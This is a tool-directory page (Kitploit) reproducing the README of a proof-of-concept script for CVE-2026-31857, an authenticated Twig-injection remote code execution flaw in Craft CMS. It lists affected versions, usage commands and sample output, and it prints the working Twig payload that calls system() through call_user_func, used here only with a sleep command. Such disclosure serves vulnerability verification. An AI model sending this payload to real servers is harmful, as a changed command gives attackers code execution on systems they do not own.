Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31857 — Python proof-of-concept that authenticates to Craft CMS control panel and verifies CVE-2026-31857 Twig injection RCE non-destructively using a sleep-based timing check. | Kitploit
Tools/GitHubGitHub/whitemachin3/cve-2026-31857
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubwhitemachin3/cve-2026-31857

CVE-2026-31857

Python proof-of-concept that authenticates to Craft CMS control panel and verifies CVE-2026-31857 Twig injection RCE non-destructively using a sleep-based timing check.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31857 — Craft CMS Authenticated RCE Timing PoC

A small, generic, non-destructive proof of concept for CVE-2026-31857 in Craft CMS.

The vulnerability exists in Craft CMS relational condition handling. A control-panel user can supply an elementIds value that reaches an unsandboxed object-template renderer. On vulnerable releases, this can result in server-side Twig evaluation and command execution.

This PoC deliberately performs only a timing-based verification by requesting sleep N. It does not open a shell, write files, or return arbitrary command output.

Affected versions

According to the Craft CMS advisory:

  • Craft CMS >= 5.0.0-RC1 and <= 5.9.8
  • Craft CMS >= 4.0.0-beta.1 and <= 4.17.3

Fixed in:

  • Craft CMS 5.9.9
  • Craft CMS 4.17.4

Always check the vendor advisory and downstream package information before concluding that a packaged build is vulnerable.

Requirements

  • Python 3.10+
  • Valid credentials for a Craft CMS account with control-panel access
  • Network access to the target Craft installation

Install dependencies:

python3 -m pip install -r requirements.txt

Usage

python3 poc.py \
  --target https://craft.example \
  --username editor \
  --password 'ExamplePassword'

For a non-default control-panel trigger:

python3 poc.py \
  -t https://craft.example \
  -u editor \
  -p 'ExamplePassword' \
  --cp-trigger control

For an authorized lab with a self-signed certificate:

python3 poc.py \
  -t https://craft.example \
  -u editor \
  -p 'ExamplePassword' \
  --insecure

Example output on a vulnerable instance:

[*] Fetching Craft control panel...
[+] Authenticated successfully.
[*] Action endpoint: https://craft.example/admin/actions/element-indexes/get-elements
[*] Baseline: HTTP 200, 0.184s
[*] Timing payload: HTTP 200, 4.207s
[+] Likely vulnerable to CVE-2026-31857 (timing delta: 4.023s).

How it works

The verifier:

  1. Fetches the Craft control-panel page and extracts the CSRF token and action URL.
  2. Authenticates with users/login.
  3. Sends a normal request to the element-index endpoint and records a baseline response time.
  4. Sends a second request containing a RelatedToConditionRule.
  5. Places this timing-only Twig expression in elementIds:
{{ ['system','sleep 4'] | sort('call_user_func') }}
  1. Reports the target as likely vulnerable only if the second request is delayed by approximately the requested sleep interval.

The relevant vulnerable path is conceptually:

RelatedToConditionRule
  -> BaseElementSelectConditionRule::getElementIds()
  -> renderObjectTemplate()
  -> unsandboxed Twig evaluation

The vendor fix changes the affected rendering path to use the sandboxed object-template renderer.

Notes

  • This is an authenticated vulnerability.
  • Administrator privileges are not necessarily required; control-panel access is the key prerequisite.
  • An HTTP 200 alone is not treated as proof of RCE. The PoC requires a timing difference consistent with the sleep command.
  • Some deployments use a non-default control-panel trigger or URL rewriting rules. The script first tries Craft's own actionUrl value and otherwise falls back to query-string action routing.

References

  • Craft CMS security advisory: GHSA-fp5j-j7j4-mcxc
  • CVE: CVE-2026-31857
  • Craft CMS fix: 8d4903647dcfd31b8d40ed027e27082013347a80

Legal notice

Use this code only on systems you own or where you have explicit authorization to perform security testing.

Download Tool